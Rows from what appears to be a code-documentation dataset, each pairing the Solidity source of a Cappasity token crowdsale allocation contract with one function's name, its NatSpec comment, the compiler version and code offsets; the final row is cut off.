function freeze() external onlyUnpaused onlyEmergency {
require(crowdsalePhase != CrowdsalePhase.PhaseOne);
tokenContract.freeze();
}
function unfreeze() external onlyUnpaused onlyEmergency {
require(crowdsalePhase != CrowdsalePhase.PhaseOne);
tokenContract.unfreeze();
}
// INTERNAL FUNCTIONS
// ====================
function calculateCentsLeftInPhase(uint _remainingContribution) internal view returns(uint) {
// Ten percent bonuses happen in both Phase One and Phase two, therefore:
// Take the bonus tier size, subtract the total money gathered in the current phase
if (bonusPhase == BonusPhase.TenPercent) {
return bonusTierSize.sub(totalCentsGathered.sub(centsInPhaseOne));
}
if (bonusPhase == BonusPhase.FivePercent) {
// Five percent bonuses only happen in Phase One, so no need to account
// for the first phase separately.
return bonusTierSize.mul(2).sub(totalCentsGathered);
}
return _remainingContribution;
}
function mintAndUpdate(address _beneficiary, uint _tokensToMint) internal {
tokenContract.mint(_beneficiary, _tokensToMint);
totalTokenSupply = totalTokenSupply.add(_tokensToMint);
}
function calculateTierBonus(uint _contribution) constant internal returns (uint) {
// All bonuses are additive and not multiplicative
// Calculate bonus on contribution size, then convert it to bonus tokens.
uint tierBonus = 0;
// tierBonus tier tierBonuses. We make sure in issueTokens that the processed contribution \
// falls entirely into one tier
if (bonusPhase == BonusPhase.TenPercent) {
tierBonus = _contribution.div(10); // multiply by 0.1
} else if (bonusPhase == BonusPhase.FivePercent) {
tierBonus = _contribution.div(20); // multiply by 0.05
}
tierBonus = tierBonus.mul(tokenRate);
return tierBonus;
}
function calculateSizeBonus(uint _contribution) constant internal returns (uint) {
uint sizeBonus = 0;
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
// 10% for huge contribution
if (_contribution >= hugeContributionBound) {
sizeBonus = _contribution.div(10); // multiply by 0.1
// 5% for big one
} else if (_contribution >= bigContributionBound) {
sizeBonus = _contribution.div(20); // multiply by 0.05
}
sizeBonus = sizeBonus.mul(tokenRate);
}
return sizeBonus;
}
/**
* @dev Advance the bonus phase to next tier when appropriate, do nothing otherwise.
*/
function advanceBonusPhase() internal onlyValidPhase {
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
if (bonusPhase == BonusPhase.TenPercent) {
bonusPhase = BonusPhase.FivePercent;
} else if (bonusPhase == BonusPhase.FivePercent) {
bonusPhase = BonusPhase.None;
}
} else if (bonusPhase == BonusPhase.TenPercent) {
bonusPhase = BonusPhase.None;
}
}
function min(uint _a, uint _b) internal pure returns (uint result) {
return _a < _b ? _a : _b;
}
/**
* Modifiers
*/
modifier onlyValidPhase() {
require( crowdsalePhase == CrowdsalePhase.PhaseOne
|| crowdsalePhase == CrowdsalePhase.PhaseTwo );
_;
}
// Do not allow to send money directly to this contract
function() payable public {
revert();
}
} | /**
* @dev Prepaid token allocation for a capped crowdsale with bonus structure sliding on sales
* Written with OpenZeppelin sources as a rough reference.
*/ | NatSpecMultiLine | freeze | function freeze() external onlyUnpaused onlyEmergency {
require(crowdsalePhase != CrowdsalePhase.PhaseOne);
tokenContract.freeze();
}
| /**
* @dev Allows to freeze all token transfers in the future
* This is done to allow migrating to new contract in the future
* If such need ever arises (ie Migration to ERC23, or anything that community decides worth doing)
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
12082,
12243
]
} | 4,275 |
|
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | TokenAllocation | contract TokenAllocation is GenericCrowdsale {
using SafeMath for uint;
// Events
event TokensAllocated(address _beneficiary, uint _contribution, uint _tokensIssued);
event BonusIssued(address _beneficiary, uint _bonusTokensIssued);
event FoundersAndPartnersTokensIssued(address _foundersWallet, uint _tokensForFounders,
address _partnersWallet, uint _tokensForPartners);
// Token information
uint public tokenRate = 125; // 1 USD = 125 CAPP; so 1 cent = 1.25 CAPP \
// assuming CAPP has 2 decimals (as set in token contract)
Cappasity public tokenContract;
address public foundersWallet; // A wallet permitted to request tokens from the time vaults.
address public partnersWallet; // A wallet that distributes the tokens to early contributors.
// Crowdsale progress
uint constant public hardCap = 5 * 1e7 * 1e2; // 50 000 000 dollars * 100 cents per dollar
uint constant public phaseOneCap = 3 * 1e7 * 1e2; // 30 000 000 dollars * 100 cents per dollar
uint public totalCentsGathered = 0;
// Total sum gathered in phase one, need this to adjust the bonus tiers in phase two.
// Updated only once, when the phase one is concluded.
uint public centsInPhaseOne = 0;
uint public totalTokenSupply = 0; // Counting the bonuses, not counting the founders' share.
// Total tokens issued in phase one, including bonuses. Need this to correctly calculate the founders' \
// share and issue it in parts, once after each round. Updated when issuing tokens.
uint public tokensDuringPhaseOne = 0;
VestingWallet public vestingWallet;
enum CrowdsalePhase { PhaseOne, BetweenPhases, PhaseTwo, Finished }
enum BonusPhase { TenPercent, FivePercent, None }
uint public constant bonusTierSize = 1 * 1e7 * 1e2; // 10 000 000 dollars * 100 cents per dollar
uint public constant bigContributionBound = 1 * 1e5 * 1e2; // 100 000 dollars * 100 cents per dollar
uint public constant hugeContributionBound = 3 * 1e5 * 1e2; // 300 000 dollars * 100 cents per dollar
CrowdsalePhase public crowdsalePhase = CrowdsalePhase.PhaseOne;
BonusPhase public bonusPhase = BonusPhase.TenPercent;
/**
* @dev Constructs the allocator.
* @param _icoBackend Wallet address that should be owned by the off-chain backend, from which \
* \ it mints the tokens for contributions accepted in other currencies.
* @param _icoManager Allowed to start phase 2.
* @param _foundersWallet Where the founders' tokens to to after vesting.
* @param _partnersWallet A wallet that distributes tokens to early contributors.
*/
function TokenAllocation(address _icoManager,
address _icoBackend,
address _foundersWallet,
address _partnersWallet,
address _emergencyManager
) public {
require(_icoManager != address(0));
require(_icoBackend != address(0));
require(_foundersWallet != address(0));
require(_partnersWallet != address(0));
require(_emergencyManager != address(0));
tokenContract = new Cappasity(address(this));
icoManager = _icoManager;
icoBackend = _icoBackend;
foundersWallet = _foundersWallet;
partnersWallet = _partnersWallet;
emergencyManager = _emergencyManager;
}
// PRIVILEGED FUNCTIONS
// ====================
/**
* @dev Issues tokens for a particular address as for a contribution of size _contribution, \
* \ then issues bonuses in proportion.
* @param _beneficiary Receiver of the tokens.
* @param _contribution Size of the contribution (in USD cents).
*/
function issueTokens(address _beneficiary, uint _contribution) external onlyBackend onlyValidPhase onlyUnpaused {
// phase 1 cap less than hard cap
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
require(totalCentsGathered.add(_contribution) <= phaseOneCap);
} else {
require(totalCentsGathered.add(_contribution) <= hardCap);
}
uint remainingContribution = _contribution;
// Check if the contribution fills the current bonus phase. If so, break it up in parts,
// mint tokens for each part separately, assign bonuses, trigger events. For transparency.
do {
// 1 - calculate contribution part for current bonus stage
uint centsLeftInPhase = calculateCentsLeftInPhase(remainingContribution);
uint contributionPart = min(remainingContribution, centsLeftInPhase);
// 3 - mint tokens
uint tokensToMint = tokenRate.mul(contributionPart);
mintAndUpdate(_beneficiary, tokensToMint);
TokensAllocated(_beneficiary, contributionPart, tokensToMint);
// 4 - mint bonus
uint tierBonus = calculateTierBonus(contributionPart);
if (tierBonus > 0) {
mintAndUpdate(_beneficiary, tierBonus);
BonusIssued(_beneficiary, tierBonus);
}
// 5 - advance bonus phase
if ((bonusPhase != BonusPhase.None) && (contributionPart == centsLeftInPhase)) {
advanceBonusPhase();
}
// 6 - log the processed part of the contribution
totalCentsGathered = totalCentsGathered.add(contributionPart);
remainingContribution = remainingContribution.sub(contributionPart);
// 7 - continue?
} while (remainingContribution > 0);
// Mint contribution size bonus
uint sizeBonus = calculateSizeBonus(_contribution);
if (sizeBonus > 0) {
mintAndUpdate(_beneficiary, sizeBonus);
BonusIssued(_beneficiary, sizeBonus);
}
}
/**
* @dev Issues tokens for the off-chain contributors by accepting calls from the trusted address.
* Supposed to be run by the backend. Used for distributing bonuses for affiliate transactions
* and special offers
*
* @param _beneficiary Token holder.
* @param _contribution The equivalent (in USD cents) of the contribution received off-chain.
* @param _tokens Total token allocation size
* @param _bonus Bonus size
*/
function issueTokensWithCustomBonus(address _beneficiary, uint _contribution, uint _tokens, uint _bonus)
external onlyBackend onlyValidPhase onlyUnpaused {
// sanity check, ensure we allocate more than 0
require(_tokens > 0);
// all tokens can be bonuses, but they cant be less than bonuses
require(_tokens >= _bonus);
// check capps
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
// ensure we are not over phase 1 cap after this contribution
require(totalCentsGathered.add(_contribution) <= phaseOneCap);
} else {
// ensure we are not over hard cap after this contribution
require(totalCentsGathered.add(_contribution) <= hardCap);
}
uint remainingContribution = _contribution;
// Check if the contribution fills the current bonus phase. If so, break it up in parts,
// mint tokens for each part separately, assign bonuses, trigger events. For transparency.
do {
// 1 - calculate contribution part for current bonus stage
uint centsLeftInPhase = calculateCentsLeftInPhase(remainingContribution);
uint contributionPart = min(remainingContribution, centsLeftInPhase);
// 3 - log the processed part of the contribution
totalCentsGathered = totalCentsGathered.add(contributionPart);
remainingContribution = remainingContribution.sub(contributionPart);
// 4 - advance bonus phase
if ((remainingContribution == centsLeftInPhase) && (bonusPhase != BonusPhase.None)) {
advanceBonusPhase();
}
} while (remainingContribution > 0);
// add tokens to the beneficiary
mintAndUpdate(_beneficiary, _tokens);
// if tokens arent equal to bonus
if (_tokens > _bonus) {
TokensAllocated(_beneficiary, _contribution, _tokens.sub(_bonus));
}
// if bonus exists
if (_bonus > 0) {
BonusIssued(_beneficiary, _bonus);
}
}
/**
* @dev Issues the rewards for founders and early contributors. 18% and 12% of the total token supply by the end
* of the crowdsale, respectively, including all the token bonuses on early contributions. Can only be
* called after the end of the crowdsale phase, ends the current phase.
*/
function rewardFoundersAndPartners() external onlyManager onlyValidPhase onlyUnpaused {
uint tokensDuringThisPhase;
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
tokensDuringThisPhase = totalTokenSupply;
} else {
tokensDuringThisPhase = totalTokenSupply - tokensDuringPhaseOne;
}
// Total tokens sold is 70% of the overall supply, founders' share is 18%, early contributors' is 12%
// So to obtain those from tokens sold, multiply them by 0.18 / 0.7 and 0.12 / 0.7 respectively.
uint tokensForFounders = tokensDuringThisPhase.mul(257).div(1000); // 0.257 of 0.7 is 0.18 of 1
uint tokensForPartners = tokensDuringThisPhase.mul(171).div(1000); // 0.171 of 0.7 is 0.12 of 1
tokenContract.mint(partnersWallet, tokensForPartners);
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
vestingWallet = new VestingWallet(foundersWallet, address(tokenContract));
tokenContract.mint(address(vestingWallet), tokensForFounders);
FoundersAndPartnersTokensIssued(address(vestingWallet), tokensForFounders,
partnersWallet, tokensForPartners);
// Store the total sum collected during phase one for calculations in phase two.
centsInPhaseOne = totalCentsGathered;
tokensDuringPhaseOne = totalTokenSupply;
// Enable token transfer.
tokenContract.unfreeze();
crowdsalePhase = CrowdsalePhase.BetweenPhases;
} else {
tokenContract.mint(address(vestingWallet), tokensForFounders);
vestingWallet.launchVesting();
FoundersAndPartnersTokensIssued(address(vestingWallet), tokensForFounders,
partnersWallet, tokensForPartners);
crowdsalePhase = CrowdsalePhase.Finished;
}
tokenContract.endMinting();
}
/**
* @dev Set the CAPP / USD rate for Phase two, and then start the second phase of token allocation.
* Can only be called by the crowdsale manager.
* _tokenRate How many CAPP per 1 USD cent. As dollars, CAPP has two decimals.
* For instance: tokenRate = 125 means "1.25 CAPP per USD cent" <=> "125 CAPP per USD".
*/
function beginPhaseTwo(uint _tokenRate) external onlyManager onlyUnpaused {
require(crowdsalePhase == CrowdsalePhase.BetweenPhases);
require(_tokenRate != 0);
tokenRate = _tokenRate;
crowdsalePhase = CrowdsalePhase.PhaseTwo;
bonusPhase = BonusPhase.TenPercent;
tokenContract.startMinting();
}
/**
* @dev Allows to freeze all token transfers in the future
* This is done to allow migrating to new contract in the future
* If such need ever arises (ie Migration to ERC23, or anything that community decides worth doing)
*/
function freeze() external onlyUnpaused onlyEmergency {
require(crowdsalePhase != CrowdsalePhase.PhaseOne);
tokenContract.freeze();
}
function unfreeze() external onlyUnpaused onlyEmergency {
require(crowdsalePhase != CrowdsalePhase.PhaseOne);
tokenContract.unfreeze();
}
// INTERNAL FUNCTIONS
// ====================
function calculateCentsLeftInPhase(uint _remainingContribution) internal view returns(uint) {
// Ten percent bonuses happen in both Phase One and Phase two, therefore:
// Take the bonus tier size, subtract the total money gathered in the current phase
if (bonusPhase == BonusPhase.TenPercent) {
return bonusTierSize.sub(totalCentsGathered.sub(centsInPhaseOne));
}
if (bonusPhase == BonusPhase.FivePercent) {
// Five percent bonuses only happen in Phase One, so no need to account
// for the first phase separately.
return bonusTierSize.mul(2).sub(totalCentsGathered);
}
return _remainingContribution;
}
function mintAndUpdate(address _beneficiary, uint _tokensToMint) internal {
tokenContract.mint(_beneficiary, _tokensToMint);
totalTokenSupply = totalTokenSupply.add(_tokensToMint);
}
function calculateTierBonus(uint _contribution) constant internal returns (uint) {
// All bonuses are additive and not multiplicative
// Calculate bonus on contribution size, then convert it to bonus tokens.
uint tierBonus = 0;
// tierBonus tier tierBonuses. We make sure in issueTokens that the processed contribution \
// falls entirely into one tier
if (bonusPhase == BonusPhase.TenPercent) {
tierBonus = _contribution.div(10); // multiply by 0.1
} else if (bonusPhase == BonusPhase.FivePercent) {
tierBonus = _contribution.div(20); // multiply by 0.05
}
tierBonus = tierBonus.mul(tokenRate);
return tierBonus;
}
function calculateSizeBonus(uint _contribution) constant internal returns (uint) {
uint sizeBonus = 0;
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
// 10% for huge contribution
if (_contribution >= hugeContributionBound) {
sizeBonus = _contribution.div(10); // multiply by 0.1
// 5% for big one
} else if (_contribution >= bigContributionBound) {
sizeBonus = _contribution.div(20); // multiply by 0.05
}
sizeBonus = sizeBonus.mul(tokenRate);
}
return sizeBonus;
}
/**
* @dev Advance the bonus phase to next tier when appropriate, do nothing otherwise.
*/
function advanceBonusPhase() internal onlyValidPhase {
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
if (bonusPhase == BonusPhase.TenPercent) {
bonusPhase = BonusPhase.FivePercent;
} else if (bonusPhase == BonusPhase.FivePercent) {
bonusPhase = BonusPhase.None;
}
} else if (bonusPhase == BonusPhase.TenPercent) {
bonusPhase = BonusPhase.None;
}
}
function min(uint _a, uint _b) internal pure returns (uint result) {
return _a < _b ? _a : _b;
}
/**
* Modifiers
*/
modifier onlyValidPhase() {
require( crowdsalePhase == CrowdsalePhase.PhaseOne
|| crowdsalePhase == CrowdsalePhase.PhaseTwo );
_;
}
// Do not allow to send money directly to this contract
function() payable public {
revert();
}
} | /**
* @dev Prepaid token allocation for a capped crowdsale with bonus structure sliding on sales
* Written with OpenZeppelin sources as a rough reference.
*/ | NatSpecMultiLine | calculateCentsLeftInPhase | function calculateCentsLeftInPhase(uint _remainingContribution) internal view returns(uint) {
// Ten percent bonuses happen in both Phase One and Phase two, therefore:
// Take the bonus tier size, subtract the total money gathered in the current phase
if (bonusPhase == BonusPhase.TenPercent) {
return bonusTierSize.sub(totalCentsGathered.sub(centsInPhaseOne));
}
if (bonusPhase == BonusPhase.FivePercent) {
// Five percent bonuses only happen in Phase One, so no need to account
// for the first phase separately.
return bonusTierSize.mul(2).sub(totalCentsGathered);
}
return _remainingContribution;
}
| // INTERNAL FUNCTIONS
// ==================== | LineComment | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
12470,
13195
]
} | 4,276 |
|
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | TokenAllocation | contract TokenAllocation is GenericCrowdsale {
using SafeMath for uint;
// Events
event TokensAllocated(address _beneficiary, uint _contribution, uint _tokensIssued);
event BonusIssued(address _beneficiary, uint _bonusTokensIssued);
event FoundersAndPartnersTokensIssued(address _foundersWallet, uint _tokensForFounders,
address _partnersWallet, uint _tokensForPartners);
// Token information
uint public tokenRate = 125; // 1 USD = 125 CAPP; so 1 cent = 1.25 CAPP \
// assuming CAPP has 2 decimals (as set in token contract)
Cappasity public tokenContract;
address public foundersWallet; // A wallet permitted to request tokens from the time vaults.
address public partnersWallet; // A wallet that distributes the tokens to early contributors.
// Crowdsale progress
uint constant public hardCap = 5 * 1e7 * 1e2; // 50 000 000 dollars * 100 cents per dollar
uint constant public phaseOneCap = 3 * 1e7 * 1e2; // 30 000 000 dollars * 100 cents per dollar
uint public totalCentsGathered = 0;
// Total sum gathered in phase one, need this to adjust the bonus tiers in phase two.
// Updated only once, when the phase one is concluded.
uint public centsInPhaseOne = 0;
uint public totalTokenSupply = 0; // Counting the bonuses, not counting the founders' share.
// Total tokens issued in phase one, including bonuses. Need this to correctly calculate the founders' \
// share and issue it in parts, once after each round. Updated when issuing tokens.
uint public tokensDuringPhaseOne = 0;
VestingWallet public vestingWallet;
enum CrowdsalePhase { PhaseOne, BetweenPhases, PhaseTwo, Finished }
enum BonusPhase { TenPercent, FivePercent, None }
uint public constant bonusTierSize = 1 * 1e7 * 1e2; // 10 000 000 dollars * 100 cents per dollar
uint public constant bigContributionBound = 1 * 1e5 * 1e2; // 100 000 dollars * 100 cents per dollar
uint public constant hugeContributionBound = 3 * 1e5 * 1e2; // 300 000 dollars * 100 cents per dollar
CrowdsalePhase public crowdsalePhase = CrowdsalePhase.PhaseOne;
BonusPhase public bonusPhase = BonusPhase.TenPercent;
/**
* @dev Constructs the allocator.
* @param _icoBackend Wallet address that should be owned by the off-chain backend, from which \
* \ it mints the tokens for contributions accepted in other currencies.
* @param _icoManager Allowed to start phase 2.
* @param _foundersWallet Where the founders' tokens to to after vesting.
* @param _partnersWallet A wallet that distributes tokens to early contributors.
*/
function TokenAllocation(address _icoManager,
address _icoBackend,
address _foundersWallet,
address _partnersWallet,
address _emergencyManager
) public {
require(_icoManager != address(0));
require(_icoBackend != address(0));
require(_foundersWallet != address(0));
require(_partnersWallet != address(0));
require(_emergencyManager != address(0));
tokenContract = new Cappasity(address(this));
icoManager = _icoManager;
icoBackend = _icoBackend;
foundersWallet = _foundersWallet;
partnersWallet = _partnersWallet;
emergencyManager = _emergencyManager;
}
// PRIVILEGED FUNCTIONS
// ====================
/**
* @dev Issues tokens for a particular address as for a contribution of size _contribution, \
* \ then issues bonuses in proportion.
* @param _beneficiary Receiver of the tokens.
* @param _contribution Size of the contribution (in USD cents).
*/
function issueTokens(address _beneficiary, uint _contribution) external onlyBackend onlyValidPhase onlyUnpaused {
// phase 1 cap less than hard cap
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
require(totalCentsGathered.add(_contribution) <= phaseOneCap);
} else {
require(totalCentsGathered.add(_contribution) <= hardCap);
}
uint remainingContribution = _contribution;
// Check if the contribution fills the current bonus phase. If so, break it up in parts,
// mint tokens for each part separately, assign bonuses, trigger events. For transparency.
do {
// 1 - calculate contribution part for current bonus stage
uint centsLeftInPhase = calculateCentsLeftInPhase(remainingContribution);
uint contributionPart = min(remainingContribution, centsLeftInPhase);
// 3 - mint tokens
uint tokensToMint = tokenRate.mul(contributionPart);
mintAndUpdate(_beneficiary, tokensToMint);
TokensAllocated(_beneficiary, contributionPart, tokensToMint);
// 4 - mint bonus
uint tierBonus = calculateTierBonus(contributionPart);
if (tierBonus > 0) {
mintAndUpdate(_beneficiary, tierBonus);
BonusIssued(_beneficiary, tierBonus);
}
// 5 - advance bonus phase
if ((bonusPhase != BonusPhase.None) && (contributionPart == centsLeftInPhase)) {
advanceBonusPhase();
}
// 6 - log the processed part of the contribution
totalCentsGathered = totalCentsGathered.add(contributionPart);
remainingContribution = remainingContribution.sub(contributionPart);
// 7 - continue?
} while (remainingContribution > 0);
// Mint contribution size bonus
uint sizeBonus = calculateSizeBonus(_contribution);
if (sizeBonus > 0) {
mintAndUpdate(_beneficiary, sizeBonus);
BonusIssued(_beneficiary, sizeBonus);
}
}
/**
* @dev Issues tokens for the off-chain contributors by accepting calls from the trusted address.
* Supposed to be run by the backend. Used for distributing bonuses for affiliate transactions
* and special offers
*
* @param _beneficiary Token holder.
* @param _contribution The equivalent (in USD cents) of the contribution received off-chain.
* @param _tokens Total token allocation size
* @param _bonus Bonus size
*/
function issueTokensWithCustomBonus(address _beneficiary, uint _contribution, uint _tokens, uint _bonus)
external onlyBackend onlyValidPhase onlyUnpaused {
// sanity check, ensure we allocate more than 0
require(_tokens > 0);
// all tokens can be bonuses, but they cant be less than bonuses
require(_tokens >= _bonus);
// check capps
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
// ensure we are not over phase 1 cap after this contribution
require(totalCentsGathered.add(_contribution) <= phaseOneCap);
} else {
// ensure we are not over hard cap after this contribution
require(totalCentsGathered.add(_contribution) <= hardCap);
}
uint remainingContribution = _contribution;
// Check if the contribution fills the current bonus phase. If so, break it up in parts,
// mint tokens for each part separately, assign bonuses, trigger events. For transparency.
do {
// 1 - calculate contribution part for current bonus stage
uint centsLeftInPhase = calculateCentsLeftInPhase(remainingContribution);
uint contributionPart = min(remainingContribution, centsLeftInPhase);
// 3 - log the processed part of the contribution
totalCentsGathered = totalCentsGathered.add(contributionPart);
remainingContribution = remainingContribution.sub(contributionPart);
// 4 - advance bonus phase
if ((remainingContribution == centsLeftInPhase) && (bonusPhase != BonusPhase.None)) {
advanceBonusPhase();
}
} while (remainingContribution > 0);
// add tokens to the beneficiary
mintAndUpdate(_beneficiary, _tokens);
// if tokens arent equal to bonus
if (_tokens > _bonus) {
TokensAllocated(_beneficiary, _contribution, _tokens.sub(_bonus));
}
// if bonus exists
if (_bonus > 0) {
BonusIssued(_beneficiary, _bonus);
}
}
/**
* @dev Issues the rewards for founders and early contributors. 18% and 12% of the total token supply by the end
* of the crowdsale, respectively, including all the token bonuses on early contributions. Can only be
* called after the end of the crowdsale phase, ends the current phase.
*/
function rewardFoundersAndPartners() external onlyManager onlyValidPhase onlyUnpaused {
uint tokensDuringThisPhase;
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
tokensDuringThisPhase = totalTokenSupply;
} else {
tokensDuringThisPhase = totalTokenSupply - tokensDuringPhaseOne;
}
// Total tokens sold is 70% of the overall supply, founders' share is 18%, early contributors' is 12%
// So to obtain those from tokens sold, multiply them by 0.18 / 0.7 and 0.12 / 0.7 respectively.
uint tokensForFounders = tokensDuringThisPhase.mul(257).div(1000); // 0.257 of 0.7 is 0.18 of 1
uint tokensForPartners = tokensDuringThisPhase.mul(171).div(1000); // 0.171 of 0.7 is 0.12 of 1
tokenContract.mint(partnersWallet, tokensForPartners);
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
vestingWallet = new VestingWallet(foundersWallet, address(tokenContract));
tokenContract.mint(address(vestingWallet), tokensForFounders);
FoundersAndPartnersTokensIssued(address(vestingWallet), tokensForFounders,
partnersWallet, tokensForPartners);
// Store the total sum collected during phase one for calculations in phase two.
centsInPhaseOne = totalCentsGathered;
tokensDuringPhaseOne = totalTokenSupply;
// Enable token transfer.
tokenContract.unfreeze();
crowdsalePhase = CrowdsalePhase.BetweenPhases;
} else {
tokenContract.mint(address(vestingWallet), tokensForFounders);
vestingWallet.launchVesting();
FoundersAndPartnersTokensIssued(address(vestingWallet), tokensForFounders,
partnersWallet, tokensForPartners);
crowdsalePhase = CrowdsalePhase.Finished;
}
tokenContract.endMinting();
}
/**
* @dev Set the CAPP / USD rate for Phase two, and then start the second phase of token allocation.
* Can only be called by the crowdsale manager.
* _tokenRate How many CAPP per 1 USD cent. As dollars, CAPP has two decimals.
* For instance: tokenRate = 125 means "1.25 CAPP per USD cent" <=> "125 CAPP per USD".
*/
function beginPhaseTwo(uint _tokenRate) external onlyManager onlyUnpaused {
require(crowdsalePhase == CrowdsalePhase.BetweenPhases);
require(_tokenRate != 0);
tokenRate = _tokenRate;
crowdsalePhase = CrowdsalePhase.PhaseTwo;
bonusPhase = BonusPhase.TenPercent;
tokenContract.startMinting();
}
/**
* @dev Allows to freeze all token transfers in the future
* This is done to allow migrating to new contract in the future
* If such need ever arises (ie Migration to ERC23, or anything that community decides worth doing)
*/
function freeze() external onlyUnpaused onlyEmergency {
require(crowdsalePhase != CrowdsalePhase.PhaseOne);
tokenContract.freeze();
}
function unfreeze() external onlyUnpaused onlyEmergency {
require(crowdsalePhase != CrowdsalePhase.PhaseOne);
tokenContract.unfreeze();
}
// INTERNAL FUNCTIONS
// ====================
function calculateCentsLeftInPhase(uint _remainingContribution) internal view returns(uint) {
// Ten percent bonuses happen in both Phase One and Phase two, therefore:
// Take the bonus tier size, subtract the total money gathered in the current phase
if (bonusPhase == BonusPhase.TenPercent) {
return bonusTierSize.sub(totalCentsGathered.sub(centsInPhaseOne));
}
if (bonusPhase == BonusPhase.FivePercent) {
// Five percent bonuses only happen in Phase One, so no need to account
// for the first phase separately.
return bonusTierSize.mul(2).sub(totalCentsGathered);
}
return _remainingContribution;
}
function mintAndUpdate(address _beneficiary, uint _tokensToMint) internal {
tokenContract.mint(_beneficiary, _tokensToMint);
totalTokenSupply = totalTokenSupply.add(_tokensToMint);
}
function calculateTierBonus(uint _contribution) constant internal returns (uint) {
// All bonuses are additive and not multiplicative
// Calculate bonus on contribution size, then convert it to bonus tokens.
uint tierBonus = 0;
// tierBonus tier tierBonuses. We make sure in issueTokens that the processed contribution \
// falls entirely into one tier
if (bonusPhase == BonusPhase.TenPercent) {
tierBonus = _contribution.div(10); // multiply by 0.1
} else if (bonusPhase == BonusPhase.FivePercent) {
tierBonus = _contribution.div(20); // multiply by 0.05
}
tierBonus = tierBonus.mul(tokenRate);
return tierBonus;
}
function calculateSizeBonus(uint _contribution) constant internal returns (uint) {
uint sizeBonus = 0;
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
// 10% for huge contribution
if (_contribution >= hugeContributionBound) {
sizeBonus = _contribution.div(10); // multiply by 0.1
// 5% for big one
} else if (_contribution >= bigContributionBound) {
sizeBonus = _contribution.div(20); // multiply by 0.05
}
sizeBonus = sizeBonus.mul(tokenRate);
}
return sizeBonus;
}
/**
* @dev Advance the bonus phase to next tier when appropriate, do nothing otherwise.
*/
function advanceBonusPhase() internal onlyValidPhase {
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
if (bonusPhase == BonusPhase.TenPercent) {
bonusPhase = BonusPhase.FivePercent;
} else if (bonusPhase == BonusPhase.FivePercent) {
bonusPhase = BonusPhase.None;
}
} else if (bonusPhase == BonusPhase.TenPercent) {
bonusPhase = BonusPhase.None;
}
}
function min(uint _a, uint _b) internal pure returns (uint result) {
return _a < _b ? _a : _b;
}
/**
* Modifiers
*/
modifier onlyValidPhase() {
require( crowdsalePhase == CrowdsalePhase.PhaseOne
|| crowdsalePhase == CrowdsalePhase.PhaseTwo );
_;
}
// Do not allow to send money directly to this contract
function() payable public {
revert();
}
} | /**
* @dev Prepaid token allocation for a capped crowdsale with bonus structure sliding on sales
* Written with OpenZeppelin sources as a rough reference.
*/ | NatSpecMultiLine | advanceBonusPhase | function advanceBonusPhase() internal onlyValidPhase {
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
if (bonusPhase == BonusPhase.TenPercent) {
bonusPhase = BonusPhase.FivePercent;
} else if (bonusPhase == BonusPhase.FivePercent) {
bonusPhase = BonusPhase.None;
}
} else if (bonusPhase == BonusPhase.TenPercent) {
bonusPhase = BonusPhase.None;
}
}
| /**
* @dev Advance the bonus phase to next tier when appropriate, do nothing otherwise.
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
14899,
15372
]
} | 4,277 |
|
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | TokenAllocation | contract TokenAllocation is GenericCrowdsale {
using SafeMath for uint;
// Events
event TokensAllocated(address _beneficiary, uint _contribution, uint _tokensIssued);
event BonusIssued(address _beneficiary, uint _bonusTokensIssued);
event FoundersAndPartnersTokensIssued(address _foundersWallet, uint _tokensForFounders,
address _partnersWallet, uint _tokensForPartners);
// Token information
uint public tokenRate = 125; // 1 USD = 125 CAPP; so 1 cent = 1.25 CAPP \
// assuming CAPP has 2 decimals (as set in token contract)
Cappasity public tokenContract;
address public foundersWallet; // A wallet permitted to request tokens from the time vaults.
address public partnersWallet; // A wallet that distributes the tokens to early contributors.
// Crowdsale progress
uint constant public hardCap = 5 * 1e7 * 1e2; // 50 000 000 dollars * 100 cents per dollar
uint constant public phaseOneCap = 3 * 1e7 * 1e2; // 30 000 000 dollars * 100 cents per dollar
uint public totalCentsGathered = 0;
// Total sum gathered in phase one, need this to adjust the bonus tiers in phase two.
// Updated only once, when the phase one is concluded.
uint public centsInPhaseOne = 0;
uint public totalTokenSupply = 0; // Counting the bonuses, not counting the founders' share.
// Total tokens issued in phase one, including bonuses. Need this to correctly calculate the founders' \
// share and issue it in parts, once after each round. Updated when issuing tokens.
uint public tokensDuringPhaseOne = 0;
VestingWallet public vestingWallet;
enum CrowdsalePhase { PhaseOne, BetweenPhases, PhaseTwo, Finished }
enum BonusPhase { TenPercent, FivePercent, None }
uint public constant bonusTierSize = 1 * 1e7 * 1e2; // 10 000 000 dollars * 100 cents per dollar
uint public constant bigContributionBound = 1 * 1e5 * 1e2; // 100 000 dollars * 100 cents per dollar
uint public constant hugeContributionBound = 3 * 1e5 * 1e2; // 300 000 dollars * 100 cents per dollar
CrowdsalePhase public crowdsalePhase = CrowdsalePhase.PhaseOne;
BonusPhase public bonusPhase = BonusPhase.TenPercent;
/**
* @dev Constructs the allocator.
* @param _icoBackend Wallet address that should be owned by the off-chain backend, from which \
